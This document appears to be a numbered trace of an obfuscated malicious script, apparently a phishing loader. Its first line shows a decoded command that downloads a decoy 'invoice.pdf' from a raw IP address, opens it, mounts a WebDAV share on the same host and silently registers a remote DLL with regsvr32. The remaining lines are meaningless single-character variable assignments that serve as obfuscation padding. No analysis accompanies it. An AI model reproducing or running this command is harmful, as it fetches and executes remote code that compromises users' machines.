"Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll",0,false) ➔ 0
14	}
15	mdtkacd = "P";
16	mdtkacd = "M";
17	mdtkacd = "L";
18	mdtkacd = "h";
19	mdtkacd = "h";
20	ystovv = "n";
21	ystovv = "i";
22	ystovv = "F";
23	ystovv = "a";
24	ystovv = "W";
25	ystovv = "Q";
26	ystovv = "j";
27	ystovv = "d";
28	ystovv = "C";
29	ystovv = "S";
30	ystovv = "M";
31	ystovv = "s";
32	ystovv = "L";
33	ystovv = "T";
34	ystovv = "@";
35	qurzsgmb = "Z";
36	qurzsgmb = "J";
37	qurzsgmb = "v";
38	qurzsgmb = "P";
39	qurzsgmb = "i";
40	qurzsgmb = "i";
41	qurzsgmb = "S";
42	qurzsgmb = "M";
43	qurzsgmb = "C";
44	qurzsgmb = "d";
45	qurzsgmb = "t";
46	qurzsgmb = "a";
47	qurzsgmb = "a";
48	qurzsgmb = "M";
49	qurzsgmb = "a";
50	qurzsgmb = "u";
51	qurzsgmb = "b";
52	qurzsgmb = "o";
53	qurzsgmb = "W";
54	qurzsgmb = "W";
55	qurzsgmb = "c";
56	qurzsgmb = "H";
57	qurzsgmb = "X";
58	qurzsgmb = "g";
59	qurzsgmb = "f";
60	qurzsgmb = "u";
61	qurzsgmb = "r";
62	qurzsgmb = "s";
63	qurzsgmb = "E";
64	qurzsgmb = "f";
65	qurzsgmb = "G";
66	qurzsgmb = "F";
67	qurzsgmb = "v";
68	dotssqw = "u";
69	dotssqw = "h";
70	dotssqw = "i";
71	dotssqw = "k";
72	dotssqw = "l";
73	dotssqw = "o";
74	dotssqw = "m";
75	dotssqw = "y";
76	dotssqw = "U";
77	dotssqw = "d";
78	dotssqw = "A";
79	dotssqw = "G";
80	dotssqw = "u";
81	dotssqw = "c";
82	dotssqw = "l";
83	dotssqw = "M";
84	dotssqw = "i";
85	dotssqw = "F";
86	dotssqw = "T";
87	dotssqw = "T";
88	dotssqw = "m";
89	dotssqw = "J";
90	dotssqw = "J";
91	dotssqw = "D";
92	dotssqw = "k";
93	dotssqw = "a";
94	dotssqw = "Z";
95	dotssqw = "F";
96	dotssqw = "/";
97	mxhqiycva = "C";
98	mxhqiycva = "D";
99	mxhqiycva = "n";
100	mxhqiycva = "Y";
101	mxhqiycva = "c";
102	mxhqiycva = "D";
103	mxhqiycva = "e";
104	mxhqiycva = "V";
105	mxhqiycva = "F";
106	mxhqiycva = "v";
107	mxhqiycva = "v";
108	mxhqiycva = "F";
109	mxhqiycva = "F";
110	mxhqiycva = "j";
111	mxhqiycva = "S";
112	mxhqiycva = "e";
113	mxhqiycva = "f";
114	mxhqiycva = "b";
115	mxhqiycva = "L";
116	mxhqiycva = "R";
117	mxhqiycva = "h";
118	mxhqiycva = "j";
119	mxhqiycva = "R";
120	mxhqiycva = "l";
121	mxhqiycva = "u";
122	mxhqiycva = "c";
123	mxhqiycva = "e";
124	mxhqiycva = "l";
125	mxhqiycva = "U";
126	mxhqiycva = "u";
127	mxhqiycva = "i";
128	mxhqiycva = "R";
129	mxhqiycva = "C";
130	mxhqiycva = "f";
131	mxhqiycva = "X";
132	mxhqiycva = "V";
133	mxhqiycva = "s";
134	mxhqiycva = "q";
135	mxhqiycva = "z";
136	mxhqiycva = "c";
137	kiaab = "W";
138	kiaab = "L";
139	kiaab = "n";
140	kiaab = "W";
141	kiaab = "F";
142	kiaab = "X";
143	kiaab = "s";
144	kiaab = "E";
145	kiaab = "i";
146	kiaab = "Z";
147	kiaab = "o";
148	kiaab = "U";
149	kiaab = "Y";
150	kiaab = "P";
151	kiaab = "J";
152	kiaab = "m";
153	kiaab = "D";
154	kiaab = "y";
155	kiaab = "a";
156	kiaab = "m";
157	kiaab = "t";
158	kiaab = "b";
159	kiaab = "p";
160	kiaab = "W";
161	kiaab = "N";
162	kiaab = "T";
163	kiaab = "C";
164	kiaab = "F";
165	kiaab = "K";
166	kiaab = "q";
167	kiaab = "x";
168	kiaab = "b";
169	kiaab = "C";
170	kiaab = "e";
171	kiaab = "F";
172	kiaab = "h";
173	kiaab = "u";
174	lpyypr = "n";
175	lpyypr = "K";
176	lpyypr = "u";
177	lpyypr = "n";
178	lpyypr = "H";
179	lpyypr = "X";
180	lpyypr = "q";
181	lpyypr = "e";
182	lpyypr = "H";
183	lpyypr = "t";
184	lpyypr = "v";
185	lpyypr = "V";
186	lpyypr = "g";
187	lpyypr = "Y";
188	lpyypr = "x";
189	lpyypr = "v";
190	lpyypr = "3";
191	gfuxie = "w";
192	gfuxie = "L";
193	gfuxie = "T";
194	gfuxie = "J";
195	gfuxie = "Z";
196	gfuxie = "f";
197	gfuxie = "Y";
198	gfuxie = "w";
199	gfuxie = "M";
200	gfuxie = "R";
201	gfuxie = "P";
202	gfuxie = "e";
203	gfuxie = "A";
204	gfuxie = "F";
205	gfuxie = "f";
206	gfuxie = "J";
207	gfuxie = "J";
208	gfuxie = "w";
209	gfuxie = "F";
210	gfuxie = "V";
211	gfuxie = "Z";
212	gfuxie = "q";
213	gfuxie = "b";
214	gfuxie = "u";
215	gfuxie = "a";
216	gfuxie = "L";
217	gfuxie = "i";
218	gfuxie = "i";
219	gfuxie = " ";
220	fzohx = "S";
221	fzohx = "F";
222	fzohx = "s";
223	fzohx = "m";
224	fzohx = "n";
225	fzohx = "U";
226	fzohx = "R";
227	fzohx = "o";
228	fzohx = "J";
229	fzohx = "D";
230	fzohx = "a";
231	fzohx = "U";
232	fzohx = "G";
233	fzohx = "H";
234	fzohx = "m";
235	fzohx = "A";
236	fzohx = "J";
237	fzohx = "v";
238	fzohx = "a";
239	fzohx = "j";
240	fzohx = "A";
241	fzohx = "o";
242	fzohx = "o";
243	fzohx = "m";
244	iiquoil = "n";
245	iiquoil = "y";
246	iiquoil = "G";
247	iiquoil = "Z";
248	iiquoil = "u";
249	iiquoil = "z";
250	iiquoil = "D";
251	iiquoil = "M";
252	iiquoil = "k";
253	iiquoil = "F";
254	iiquoil = "Q";
255	qzozwyxsw = "b";
256	ehkqkqkhy = "H";
257	ehkqkqkhy = "c";
258	ehkqkqkhy = "a";
259	ehkqkqkhy = "N";
260	ehkqkqkhy = "F";
261	ehkqkqkhy = "V";
262	ehkqkqkhy = "I";
263	ehkqkqkhy = "m";
264	ehkqkqkhy = "W";
265	ehkqkqkhy = "f";
266	ehkqkqkhy = "k";
267	ehkqkqkhy = "G";
268	ehkqkqkhy = "U";
269	ehkqkqkhy = "j";
270	ehkqkqkhy = "w";
271	ehkqkqkhy = "S";
272	ehkqkqkhy = "Z";
273	ehkqkqkhy = "F";
274	ehkqkqkhy = "O";
275	ehkqkqkhy = "c";
276	ehkqkqkhy = "B";
277	ehkqkqkhy = "A";
278	ehkqkqkhy = "A";
279	ehkqkqkhy = "R";
280	ehkqkqkhy = "f";
281	ehkqkqkhy = "a";
282	ehkqkqkhy = "l";
283	ehkqkqkhy = "i";
284	ehkqkqkhy = "j";
285	ehkqkqkhy = "O";
286	ehkqkqkhy = "n";
287	ehkqkqkhy = "p";
288	ehkqkqkhy = "U";
289	ehkqkqkhy = "O";
290	ehkqkqkhy = "F";
291	ehkqkqkhy = "f";
292	ehkqkqkhy = "c";
293	ehkqkqkhy = "q";
294	ehkqkqkhy = "I";
295	ehkqkqkhy = "o";
296	sckstyfg = "c";
297	sckstyfg = "Y";
298	sckstyfg = "h";
299	sckstyfg = "X";
300	sckstyfg = "E";
301	sckstyfg = "j";
302	sckstyfg = "v";
303	sckstyfg = "c";
304	sckstyfg = "L";
305	sckstyfg = "G";
306	sckstyfg = "U";
307	sckstyfg = "w";
308	sckstyfg = "n";
309	sckstyfg = "X";
310	sckstyfg = "i";
311	sckstyfg = "v";
312	sckstyfg = "D";
313	sckstyfg = "y";
314	sckstyfg = "E";
315	sckstyfg = "u";
316	sckstyfg = "E";
317	fgevgzb = "U";
318	fgevgzb = "h";
319	fgevgzb = "h";
320	fgevgzb = "a";
321	fgevgzb = "H";
322	fgevgzb = "m";
323	fgevgzb = "N";
324	fgevgzb = "e";
325	fgevgzb = "F";
326	fgevgzb = "R";
327	fgevgzb = "N";
328	fgevgzb = "I";
329	fgevgzb = "C";
330	fgevgzb = "n";
331	fgevgzb = "r";
332	fgevgzb = "D";
333	fgevgzb = "F";
334	fgevgzb = "h";
335	fgevgzb = "r";
336	fgevgzb = "U";
337	fgevgzb = "Z";
338	fgevgzb = "K";
339	fgevgzb = "q";
340	cdsbm = "P";
341	cdsbm = "p";
342	cdsbm = "f";
343	cdsbm = "e";
344	cdsbm = "j";
345	cdsbm = "Y";
346	cdsbm = "s";
347	cdsbm = "P";
348	cdsbm = "w";
349	cdsbm = "i";
350	cdsbm = "q";
351	cdsbm = "b";
352	cdsbm = "v";
353	cdsbm = "I";
354	cdsbm = "H";
355	cdsbm = "T";
356	cdsbm = "R";
357	cdsbm = "J";
358	cdsbm = "L";
359	cdsbm = "h";
360	cdsbm = "g";
361	cdsbm = "g";
362	cdsbm = "L";
363	cdsbm = "R";
364	gdlwgkuq = "U";
365	gdlwgkuq = "p";
366	gdlwgkuq = "t";
367	gdlwgkuq = "e";
368	gdlwgkuq = "v";
369	gdlwgkuq = "\\";
370	amucagqg = "A";
371	amucagqg = "D";
372	amucagqg = "J";
373	amucagqg = "U";
374	amucagqg = "c";
375	amucagqg = "d";
376	amucagqg = "U";
377	amucagqg = "t";
378	amucagqg = "z";
379	amucagqg = "E";
380	amucagqg = "X";
381	amucagqg = "q";
382	amucagqg = "R";
383	amucagqg = "G";
384	amucagqg = "m";
385	amucagqg = "d";
386	amucagqg = "O";
387	amucagqg = "b";
388	amucagqg = "N";
389	amucagqg = "F";
390	amucagqg = "E";
391	amucagqg = "g";
392	amucagqg = "0";
393	evnhidn = "C";
394	oohozig = "y";
395	oohozig = "e";
396	oohozig = "i";
397	oohozig = "q";
398	oohozig = "y";
399	oohozig = "q";
400	oohozig = "k";
401	oohozig = "f";
402	oohozig = "g";
403	oohozig = "m";
404	oohozig = "Y";
405	oohozig = "Q";
406	oohozig = "e";
407	oohozig = "b";
408	oohozig = "j";
409	oohozig = "g";
410	oohozig = "B";
411	oohozig = "J";
412	oohozig = "Y";
413	oohozig = "b";
414	oohozig = "W";
415	oohozig = "E";
416	oohozig = "Z";
417	oohozig = "t";
418	oohozig = "n";
419	oohozig = "h";
420	oohozig = "o";
421	oohozig = "k";
422	oohozig = "m";
423	oohozig = "r";
424	tyabs = "Z";
425	tyabs = "C";
426	tyabs = "E";
427	tyabs = "i";
428	tyabs = "I";
429	tyabs = "Z";
430	tyabs = "H";
431	tyabs = "z";
432	tyabs = "i";
433	tyabs = "T";
434	tyabs = "Z";
435	tyabs = "c";
436	tyabs = "H";
437	tyabs = "x";
438	tyabs = "A";
439	tyabs = "G";
440	tyabs = "I";
441	tyabs = "s";
442	tyabs = "Z";
443	tyabs = "t";
444	tyabs = "S";
445	tyabs = "T";
446	tyabs = "E";
447	tyabs = "P";
448	tyabs = "f";
449	tyabs = "G";
450	tyabs = "t";
451	tyabs = "K";
452	tyabs = "T";
453	tyabs = "N";
454	tyabs = "k";
455	tyabs = "D";
456	tyabs = "c";
457	tyabs = "C";
458	tyabs = "a";
459	tyabs = "C";
460	tyabs = "K";
461	tyabs = "4";
462	djiunkus = "y";
463	djiunkus = "G";
464	djiunkus = "u";
465	djiunkus = "t";
466	djiunkus = "k";
467	djiunkus = "E";
468	djiunkus = "W";
469	djiunkus = "f";
470	hugqntka = "y";
471	hugqntka = "i";
472	hugqntka = "B";
473	hugqntka = "Y";
474	hugqntka = "G";
475	hugqntka = "w";
476	hugqntka = "x";
477	hugqntka = "j";
478	hugqntka = "x";
479	hugqntka = "i";
480	hugqntka = "K";
481	hugqntka = "i";
482	hugqntka = "S";
483	hugqntka = "W";
484	hugqntka = "R";
485	hugqntka = "S";
486	pwmesjfk = "P";
487	pwmesjfk = "S";
488	pwmesjfk = "W";
489	pwmesjfk = "G";
490	pwmesjfk = "x";
491	pwmesjfk = "Y";
492	pwmesjfk = "i";
493	pwmesjfk = "I";
494	pwmesjfk = "I";
495	pwmesjfk = "k";
496	ddpvthz = "u";
497	ddpvthz = "O";
498	ddpvthz = "m";
499	ddpvthz = "E";
500	ddpvthz = "f";
501	ddpvthz = "U";
502	ddpvthz = "B";
503	ddpvthz = "h";
504	ddpvthz = "P";
505	ddpvthz = "z";
506	ddpvthz = "z";
507	ddpvthz = "r";
508	ddpvthz = "L";
509	ddpvthz = "c";
510	ddpvthz = "l";
511	kodvckxt = "T";
512	kodvckxt = "s";
513	kodvckxt = "s";
514	kodvckxt = "y";
515	kodvckxt = "n";
516	kodvckxt = "z";
517	kodvckxt = "f";
518	kodvckxt = "r";
519	kodvckxt = "C";
520	kodvckxt = "P";
521	kodvckxt = "W";
522	kodvckxt = "M";
523	kodvckxt = "G";
524	kodvckxt = "f";
525	kodvckxt = "T";
526	kodvckxt = "C";
527	kodvckxt = "H";
528	kodvckxt = "K";
529	kodvckxt = "V";
530	kodvckxt = "j";
531	kodvckxt = "K";
532	kodvckxt = "q";
533	kodvckxt = "w";
534	lqobsgw = "K";
535	lqobsgw = "V";
536	lqobsgw = "S";
537	lqobsgw = "v";
538	lqobsgw = "w";
539	lqobsgw = "D";
540	lqobsgw = "R";
541	lqobsgw = "Y";
542	lqobsgw = "R";
543	lqobsgw = "O";
544	lqobsgw = "A";
545	lqobsgw = "y";
546	lqobsgw = "A";
547	lqobsgw = "t";
548	lqobsgw = "k";
549	lqobsgw = "O";
550	lqobsgw = "N";
551	lqobsgw = "m";
552	lqobsgw = "B";
553	lqobsgw = "D";
554	lqobsgw = "Z";
555	lqobsgw = "A";
556	lqobsgw = "j";
557	lqobsgw = "L";
558	lqobsgw = "a";
559	rlwiozug = "M";
560	rlwiozug = "u";
561	rlwiozug = "i";
562	rlwiozug = "i";
563	rlwiozug = "H";
564	rlwiozug = "F";
565	rlwiozug = "V";
566	rlwiozug = "B";
567	rlwiozug = "h";
568	rlwiozug = "j";
569	rlwiozug = "s";
570	rlwiozug = "T";
571	rlwiozug = "W";
572	rlwiozug = "e";
573	rlwiozug = "M";
574	rlwiozug = "g";
575	rlwiozug = "H";
576	rlwiozug = "w";
577	rlwiozug = "j";
578	rlwiozug = "T";
579	rlwiozug = "A";
580	rlwiozug = "k";
581	rlwiozug = "h";
582	rlwiozug = "U";
583	rlwiozug = "E";
584	rlwiozug = "J";
585	rlwiozug = "p";
586	rlwiozug = "D";
587	rlwiozug = "l";
588	rlwiozug = "T";
589	rlwiozug = ":";
590	ctqzbos = "E";
591	ctqzbos = "n";
592	ctqzbos = "C";
593	ctqzbos = "k";
594	ctqzbos = "P";
595	ctqzbos = "u";
596	ctqzbos = "x";
597	ctqzbos = "r";
598	ctqzbos = "X";
599	ctqzbos = "e";
600	ctqzbos = "W";
601	ctqzbos = "P";
602	ctqzbos = "p";
603	ctqzbos = "Q";
604	ctqzbos = "h";
605	ctqzbos = "c";
606	ctqzbos = "R";
607	ctqzbos = "T";
608	ctqzbos = "x";
609	ctqzbos = "e";
610	ctqzbos = "n";
611	ctqzbos = "D";
612	ctqzbos = "n";
613	ctqzbos = "i";
614	okabk = "L";
615	okabk = "v";
616	okabk = "z";
617	okabk = "R";
618	okabk = "V";
619	okabk = "p";
620	okabk = "l";
621	okabk = "K";
622	okabk = "U";
623	okabk = "l";
624	okabk = "M";
625	okabk = "N";
626	okabk = "S";
627	okabk = "p";
628	okabk = "v";
629	okabk = "q";
630	okabk = "B";
631	okabk = "B";
632	okabk = "a";
633	okabk = "Q";
634	okabk = "f";
635	okabk = "Q";
636	okabk = "l";
637	okabk = "H";
638	okabk = "L";
639	okabk = "q";
640	okabk = "g";
641	okabk = "E";
642	okabk = "p";
643	trfiqxqjc = "i";
644	trfiqxqjc = "j";
645	trfiqxqjc = "f";
646	trfiqxqjc = "r";
647	trfiqxqjc = "O";
648	trfiqxqjc = "p";
649	trfiqxqjc = "L";
650	trfiqxqjc = "Q";
651	trfiqxqjc = "G";
652	trfiqxqjc = "W";
653	trfiqxqjc = "a";
654	trfiqxqjc = "Z";
655	trfiqxqjc = "I";
656	trfiqxqjc = ".";
657	tjkqwmct = "R";
658	tjkqwmct = "U";
659	tjkqwmct = "y";
660	tjkqwmct = "e";
661	tjkqwmct = "M";
662	tjkqwmct = "L";
663	tjkqwmct = "t";
664	tjkqwmct = "B";
665	tjkqwmct = "V";
666	tjkqwmct = "d";
667	tjkqwmct = "G";
668	tjkqwmct = "i";
669	tjkqwmct = "r";
670	tjkqwmct = "x";
671	tjkqwmct = "i";
672	tjkqwmct = "j";
673	tjkqwmct = "a";
674	tjkqwmct = "l";
675	tjkqwmct = "Y";
676	tjkqwmct = "P";
677	tjkqwmct = "J";
678	tjkqwmct = "G";
679	tjkqwmct = "l";
680	tjkqwmct = "F";
681	tjkqwmct = "j";
682	tjkqwmct = "V";
683	tjkqwmct = "N";
684	tjkqwmct = "G";
685	tjkqwmct = "S";
686	tjkqwmct = "P";
687	tjkqwmct = "m";
688	tjkqwmct = "z";
689	tjkqwmct = "U";
690	tjkqwmct = "x";
691	tjkqwmct = "N";
692	tjkqwmct = "J";
693	tjkqwmct = "m";
694	tjkqwmct = "F";
695	tjkqwmct = "R";
696	tjkqwmct = "t";
697	tjkqwmct = "s";
698	zqtbdjci = "a";
699	zqtbdjci = "S";
700	zqtbdjci = "g";
701	zqtbdjci = "v";
702	zqtbdjci = "r";
703	zqtbdjci = "G";
704	zqtbdjci = "Y";
705	opabbbs = "a";
706	opabbbs = "t";
707	opabbbs = "u";
708	opabbbs = "z";
709	opabbbs = "C";
710	opabbbs = "r";
711	opabbbs = "Z";
712	opabbbs = "j";
713	opabbbs = "H";
714	opabbbs = "m";
715	opabbbs = "s";
716	opabbbs = "i";
717	opabbbs = "N";
718	gqyfdfws = "h";
719	gqyfdfws = "D";
720	gqyfdfws = "x";
721	gqyfdfws = "W";
722	gqyfdfws = "M";
723	gqyfdfws = "e";
724	gqyfdfws = "X";
725	gqyfdfws = "z";
726	gqyfdfws = "u";
727	gqyfdfws = "F";
728	gqyfdfws = "q";
729	gqyfdfws = "I";
730	gqyfdfws = "a";
731	gqyfdfws = "X";
732	gqyfdfws = "K";
733	gqyfdfws = "j";
734	gqyfdfws = "Y";
735	gqyfdfws = "N";
736	gqyfdfws = "g";
737	gqyfdfws = "E";
738	gqyfdfws = "i";
739	gqyfdfws = "s";
740	gqyfdfws = "L";
741	gqyfdfws = "W";
742	gqyfdfws = "K";
743	gqyfdfws = "S";
744	gqyfdfws = "o";
745	gqyfdfws = "e";
746	pwfkuc = "I";
747	pwfkuc = "U";
748	pwfkuc = "v";
749	pwfkuc = "H";
750	pwfkuc = "C";
751	pwfkuc = "N";
752	pwfkuc = "m";
753	pwfkuc = "M";
754	pwfkuc = "p";
755	pwfkuc = "h";
756	pwfkuc = "9";
757	tjmfnd = "N";
758	tjmfnd = "N";
759	tjmfnd = "e";
760	tjmfnd = "M";
761	tjmfnd = "d";
762	tjmfnd = "I";
763	tjmfnd = "D";
764	tjmfnd = "b";
765	tjmfnd = "W";
766	tjmfnd = "g";
767	tjmfnd = "j";
768	tjmfnd = "b";
769	tjmfnd = "k";
770	tjmfnd = "o";
771	tjmfnd = "P";
772	tjmfnd = "b";
773	tjmfnd = "j";
774	tjmfnd = "f";
775	tjmfnd = "z";
776	tjmfnd = "T";
777	tjmfnd = "I";
778	tjmfnd = "l";
779	tjmfnd = "p";
780	tjmfnd = "L";
781	tjmfnd = "O";
782	tjmfnd = "X";
783	tjmfnd = "b";
784	tjmfnd = "f";
785	tjmfnd = "m";
786	tjmfnd = "d";
787	tjmfnd = "l";
788	tjmfnd = "f";
789	tjmfnd = "f";
790	tjmfnd = "s";
791	tjmfnd = "b";
792	tjmfnd = "j";
793	tjmfnd = "D";
794	tjmfnd = "a";
795	tjmfnd = "1";
796	ozagfz = "F";
797	ozagfz = "W";
798	ozagfz = "x";
799	ozagfz = "g";
800	ozagfz = "G";
801	ozagfz = "z";
802	ozagfz = "n";
803	ozagfz = "J";
804	ozagfz = "o";
805	ozagfz = "L";
806	ozagfz = "X";
807	ozagfz = "D";
808	ozagfz = "B";
809	ozagfz = "c";
810	ozagfz = "p";
811	ozagfz = "O";
812	ozagfz = "R";
813	ozagfz = "F";
814	ozagfz = "r";
815	ozagfz = "F";
816	ozagfz = "b";
817	ozagfz = "n";
818	ozagfz = "A";
819	ozagfz = "f";
820	ozagfz = "s";
821	ozagfz = "q";
822	ozagfz = "c";
823	ozagfz = "h";
824	ozagfz = "o";
825	ozagfz = "h";
826	ozagfz = "C";
827	ozagfz = "p";
828	ozagfz = "s";
829	ozagfz = "u";
830	ozagfz = "k";
831	ozagfz = "e";
832	ozagfz = "a";
833	ozagfz = "G";
834	ozagfz = "P";
835	ozagfz = "_";
836	acbtpgc = "N";
837	acbtpgc = "c";
838	acbtpgc = "b";
839	acbtpgc = "V";
840	acbtpgc = "c";
841	acbtpgc = "A";
842	acbtpgc = "s";
843	acbtpgc = "o";
844	acbtpgc = "g";
845	acbtpgc = "F";
846	jaaqgxxi = "K";
847	iebwa = "z";
848	iebwa = "E";
849	iebwa = "r";
850	iebwa = "p";
851	iebwa = "c";
852	iebwa = "d";
853	iebwa = "T";
854	iebwa = "e";
855	iebwa = "U";
856	iebwa = "T";
857	jsumjf = "e";
858	jsumjf = "D";
859	jsumjf = "p";
860	jsumjf = "t";
861	jsumjf = "k";
862	jsumjf = "K";
863	jsumjf = "Q";
864	jsumjf = "S";
865	jsumjf = "x";
866	jsumjf = "X";
867	jsumjf = "p";
868	jsumjf = "S";
869	jsumjf = "N";
870	jsumjf = "r";
871	jsumjf = "L";
872	jsumjf = "l";
873	jsumjf = "w";
874	jsumjf = "-";
875	ognpahcau = "w";
876	ognpahcau = "b";
877	ognpahcau = "I";
878	ognpahcau = "R";
879	ognpahcau = "d";
880	ognpahcau = "a";
881	ognpahcau = "&";
882	hhbrdmsq = "q";
883	hhbrdmsq = "z";
884	hhbrdmsq = "K";
885	hhbrdmsq = "L";
886	hhbrdmsq = "e";
887	hhbrdmsq = "y";
888	hhbrdmsq = "x";
889	hhbrdmsq = "M";
890	hhbrdmsq = "M";
891	hhbrdmsq = "C";
892	hhbrdmsq = "y";
893	hhbrdmsq = "d";
894	hhbrdmsq = "Z";
895	hhbrdmsq = "i";
896	hhbrdmsq = "D";
897	hhbrdmsq = "g";
898	hhbrdmsq = "I";
899	hhbrdmsq = "S";
900	hhbrdmsq = "e";
901	hhbrdmsq = "\"";
902	hvlpn = "H";
903	hoygott = "o";
904	hoygott = "w";
905	hoygott = "W";
906	hoygott = "X";
907	hoygott = "m";
908	hoygott = "y";
909	hoygott = "z";
910	hoygott = "t";
911	hoygott = "c";
912	hoygott = "q";
913	hoygott = "j";
914	hoygott = "v";
915	hoygott = "y";
916	hoygott = "Z";
917	hoygott = "A";
918	hoygott = "m";
919	hoygott = "P";
920	hoygott = "T";
921	hoygott = "D";
922	hoygott = "k";
923	hoygott = "i";
924	hoygott = "T";
925	hoygott = "P";
926	hoygott = "V";
927	hoygott = "x";
928	hoygott = "u";
929	hoygott = "v";
930	hoygott = "G";
931	hoygott = "n";
932	glpom = "K";
933	glpom = "u";
934	glpom = "Q";
935	glpom = "s";
936	glpom = "t";
937	glpom = "B";
938	glpom = "A";
939	glpom = "V";
940	glpom = "N";
941	glpom = "z";
942	glpom = "T";
943	glpom = "T";
944	glpom = "E";
945	glpom = "l";
946	glpom = "c";
947	glpom = "X";
948	glpom = "X";
949	glpom = "u";
950	glpom = "i";
951	glpom = "d";
952	glpom = "f";
953	glpom = "f";
954	glpom = "m";
955	glpom = "B";
956	glpom = "e";
957	glpom = "o";
958	glpom = "T";
959	glpom = "z";
960	glpom = "f";
961	glpom = "B";
962	glpom = "Z";
963	glpom = "P";
964	glpom = "y";
965	glpom = "j";
966	fafqcixc = "D";
967	fafqcixc = "u";
968	fafqcixc = "i";
969	fafqcixc = "H";
970	fafqcixc = "H";
971	fafqcixc = "r";
972	fafqcixc = "Q";
973	fafqcixc = "a";
974	fafqcixc = "y";
975	fafqcixc = "U";
976	fafqcixc = "I";
977	fafqcixc = "C";
978	fafqcixc = "k";
979	fafqcixc = "b";
980	fafqcixc = "c";
981	fafqcixc = "H";
982	fafqcixc = "m";
983	fafqcixc = "Z";
984	fafqcixc = "q";
985	fafqcixc = "W";
986	fafqcixc = "T";
987	fafqcixc = "W";
988	fafqcixc = "t";
989	fafqcixc = "b";
990	fafqcixc = "g";
991	fafqcixc = "m";
992	fafqcixc = "H";
993	fafqcixc = "X";
994	fafqcixc = "C";
995	fafqcixc = "N";
996	fafqcixc = "l";
997	fafqcixc = "U";
998	fafqcixc = "W";
999	fafqcixc = "L";
1000	fafqcixc = "n";
1001	fafqcixc = "O";
1002	fafqcixc = "U";
1003	fafqcixc = "t";
1004	gadsrpewj = "G";
1005	gadsrpewj = "Q";
1006	gadsrpewj = "c";
1007	gadsrpewj = "S";
1008	gadsrpewj = "v";
1009	gadsrpewj = "T";
1010	gadsrpewj = "y";
1011	gadsrpewj = "c";
1012	gadsrpewj = "w";
1013	gadsrpewj = "x";
1014	gadsrpewj = "j";
1015	gadsrpewj = "C";
1016	gadsrpewj = "v";
1017	gadsrpewj = "B";
1018	gadsrpewj = "Z";
1019	gadsrpewj = "c";
1020	gadsrpewj = "e";
1021	gadsrpewj = "u";
1022	gadsrpewj = "w";
1023	gadsrpewj = "U";
1024	gadsrpewj = "M";
1025	gadsrpewj = "Z";
1026	gadsrpewj = "E";
1027	gadsrpewj = "B";
1028	gadsrpewj = "k";
1029	gadsrpewj = "z";
1030	gadsrpewj = "q";
1031	gadsrpewj = "C";
1032	gadsrpewj = "O";
1033	gadsrpewj = "r";
1034	gadsrpewj = "q";
1035	gadsrpewj = "S";
1036	gadsrpewj = "T";
1037	gadsrpewj = "P";
1038	gadsrpewj = "B";
1039	gadsrpewj = "s";
1040	gadsrpewj = "A";
1041	gadsrpewj = "g";
1042	gadsrpewj = "g";
1043	cxbho = "t";
1044	cxbho = "W";
1045	cxbho = "I";
1046	ejzlazvx = "y";
1047	ejzlazvx = "i";
1048	ejzlazvx = "F";
1049	ejzlazvx = "p";
1050	ejzlazvx = "z";
1051	ejzlazvx = "T";
1052	ejzlazvx = "u";
1053	ejzlazvx = "n";
1054	ejzlazvx = "h";
1055	ejzlazvx = "n";
1056	ejzlazvx = "x";
1057	ejzlazvx = "O";
1058	ejzlazvx = "o";
1059	ejzlazvx = "f";
1060	ejzlazvx = "Z";
1061	ejzlazvx = "m";
1062	ejzlazvx = "B";
1063	ejzlazvx = "I";
1064	ejzlazvx = "h";
1065	ejzlazvx = "Y";
1066	ejzlazvx = "X";
1067	ejzlazvx = "G";
1068	ejzlazvx = "m";
1069	ejzlazvx = "U";
1070	ejzlazvx = "S";
1071	ejzlazvx = "W";
1072	ejzlazvx = "E";
1073	ejzlazvx = "x";
1074	uhpzpx = "d";
1075	uhpzpx = "s";
1076	uhpzpx = "I";
1077	uhpzpx = "O";
1078	uhpzpx = "o";
1079	uhpzpx = "p";
1080	uhpzpx = "a";
1081	uhpzpx = "P";
1082	hohkyvtg = "V";
1083	hohkyvtg = "h";
1084	hohkyvtg = "t";
1085	hohkyvtg = "x";
1086	hohkyvtg = "w";
1087	hohkyvtg = "d";
1088	hohkyvtg = "v";
1089	hohkyvtg = "T";
1090	hohkyvtg = "W";
1091	hohkyvtg = "K";
1092	hohkyvtg = "Q";
1093	hohkyvtg = "B";
1094	hohkyvtg = "r";
1095	hohkyvtg = "f";
1096	hohkyvtg = "O";
1097	hohkyvtg = "f";
1098	hohkyvtg = "d";
1099	hxsryx = "w";
1100	hxsryx = "Q";
1101	hxsryx = "C";
1102	hxsryx = "B";
1103	hxsryx = "e";
1104	hxsryx = "b";
1105	hxsryx = "Z";
1106	hxsryx = "R";
1107	hxsryx = "7";
1108	dkmaiw = "z";
1109	dkmaiw = "U";
1110	dkmaiw = "c";
1111	dkmaiw = "B";
1112	dkmaiw = "i";
1113	dkmaiw = "Z";
1114	dkmaiw = "V";
1115	dkmaiw = "t";
1116	dkmaiw = "U";
1117	dkmaiw = "W";
1118	dkmaiw = "A";
1119	dkmaiw = "S";
1120	dkmaiw = "x";
1121	dkmaiw = "V";
1122	dkmaiw = "s";
1123	dkmaiw = "y";
1124	dkmaiw = "i";
1125	dkmaiw = "q";
1126	dkmaiw = "f";
1127	dkmaiw = "m";
1128	dkmaiw = "e";
1129	dkmaiw = "v";
1130	dkmaiw = "T";
1131	dkmaiw = "l";
1132	dkmaiw = "r";
1133	dkmaiw = "B";
1134	dkmaiw = "M";
1135	dkmaiw = "r";
1136	dkmaiw = "M";
1137	dkmaiw = "O";
1138	psbokigkd = "f";
1139	psbokigkd = "h";
1140	psbokigkd = "Z";
1141	psbokigkd = "P";
1142	psbokigkd = "s";
1143	psbokigkd = "w";
1144	psbokigkd = "d";
1145	psbokigkd = "l";
1146	psbokigkd = "Z";
1147	psbokigkd = "Z";
1148	psbokigkd = "F";
1149	psbokigkd = "s";
1150	psbokigkd = "b";
1151	psbokigkd = "%";
1152	yfvthhu = "D";
1153	yfvthhu = "u";
1154	yfvthhu = "8";
1155	owbzetgf = "q";
1156	owbzetgf = "o";
1157	owbzetgf = "d";
1158	owbzetgf = "h";
1159	owbzetgf = "F";
1160	owbzetgf = "U";
1161	owbzetgf = "H";
1162	owbzetgf = "Z";
1163	owbzetgf = "u";
1164	owbzetgf = "s";
1165	owbzetgf = "r";
1166	owbzetgf = "Z";
